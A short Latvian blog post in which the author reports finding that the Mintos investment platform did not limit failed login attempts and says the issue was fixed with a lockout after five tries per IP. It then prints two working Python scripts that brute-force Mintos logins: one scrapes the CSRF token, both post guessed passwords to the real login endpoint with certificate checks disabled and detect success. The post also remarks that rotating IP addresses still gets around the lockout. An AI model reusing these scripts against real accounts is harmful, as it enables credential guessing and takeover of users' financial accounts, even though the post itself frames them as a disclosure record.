Brute force Mintos platformā.

Veidojot datu analīzes skriptu, tika pamanīts, ka Mintos platforma neierobežo neveiksmīgu autentifikācijas mēģinājumu skaitu.
No lietotāja viedokļa tas ir ērti, tomēr tas rada risku, ka kāds var uzminēt paroli un piekļūt lietotāja profilam.
Pēc saziņas ar palīdzības dienestu  problēma tika operatīvi novērsta.

Pēc uzlabojumiem lietotāja konts tiek bloķēts uz 20 minūtēm, ja piecas reizes (no vienas IP) tiks ievadīta nepareiza parole.

Saglabājas iespēja mainīt ārējās IP adreses, tomēr tas būtiski apgrūtina šāda veida uzbrukumu sekmīgu izpildi.

Koda gabals vēsturei:

Sākumā bija domāts paroļu minēšanai izmantot paroļu failu, bet pēc tam to vienkāršoju uz parastu ģenerēšanu.

#! /usr/bin/python
import requests
from lxml import html
import sys
import time
def brut(user,passw):
                retry_on_exceptions = (requests.exceptions.Timeout,requests.exceptions.ConnectionError,requests.exceptions.HTTPError)
                r=requests.Session()
                erro=list()
                print passw
                for password in passw:
                                r=requests.Session()
                                try:
                                                time.sleep(1)                                    
                                                req= r.get ('https://www.mintos.com/lv/', timeout=10, verify=False)
                                                tree = html.fromstring(req.text)
                                                hash = tree.xpath('//input[@type="hidden"][@name="_csrf_token"]/@value')
                                                hashs= hash[0] #csrf token
                                                password = password.rstrip("\n")           
                                                data={'_username':user,'_password':password,'_csrf_token':'%s'%hashs}
                                                print "Try:%s"%password
                                                #print data
                                                url='https://www.mintos.com/en/login/check'
                                                req = r.post(url, headers={'referer': 'https://www.mintos.com/en/login'},timeout=10, data=data, verify=False)
                                                #print(req.history, req.url, req.status_code)                       
                                                try:
                                                                req= r.get ('https://www.mintos.com/lv/kopsavilkums/', timeout=10, verify=False)
                                                                tree = html.fromstring(req.text)
                                                                hash = tree.xpath('//*[@id="main-nav"]/li[6]/a/text()')
                                                                #print hash[0]
                                                                if hash[0].find("Blogs") == -1:
                                                                                print "Pass found: %s"%password
                                                                                sys.exit()
                                                except retry_on_exceptions:
                                                                time.sleep(5)
                                                                print "Error response: %s"%password
                                                                erro.append(password)
                                                                continue
                                except retry_on_exceptions:
                                                time.sleep(5)
                                                print "Error csrf: %s"%password
                                                erro.append(password)
                                                continue
                                #print "loops"   
                return erro
 
if __name__ == "__main__":
                #passwfile = open("pass.txt", "r")
                passw=list()
                #for password in passwfile:
                #             password = password.rstrip("\n")
                #             passw.append(password)
               
                count=0
                while (count < 100):
                                st='a'
                                st=st+(str(count))
                                passw.append(st)
                                count = count + 1            
                passw.append('realpassw') # test can we login?
                erro=brut('realemail@mail.com',passw)
                while  (len(erro)<> 0):
                                erro=brut('realemail@mail.com',erro)

Vēlāk pārrakstīju uz šo:

#! /usr/bin/python
import mechanize
count=0 
while (count < 99):
	st='a'
	st=st+(str(count))
	if (count==95):
		st='realpassw'
	br=mechanize.Browser()
	br.open("https://www.mintos.com/lv/")
	br.select_form( nr = 0 )
	br.form['_username'] = 'realemail@mail.lv'
	br.form['_password'] = st
	print "Try:%s"%st
	count = count + 1
	req = br.submit()
	if req.geturl()=="https://www.mintos.com/lv/kopsavilkums/":
		print 'Pass is: s%'%st
		break
print "didn't succeed"

 

Leave a Reply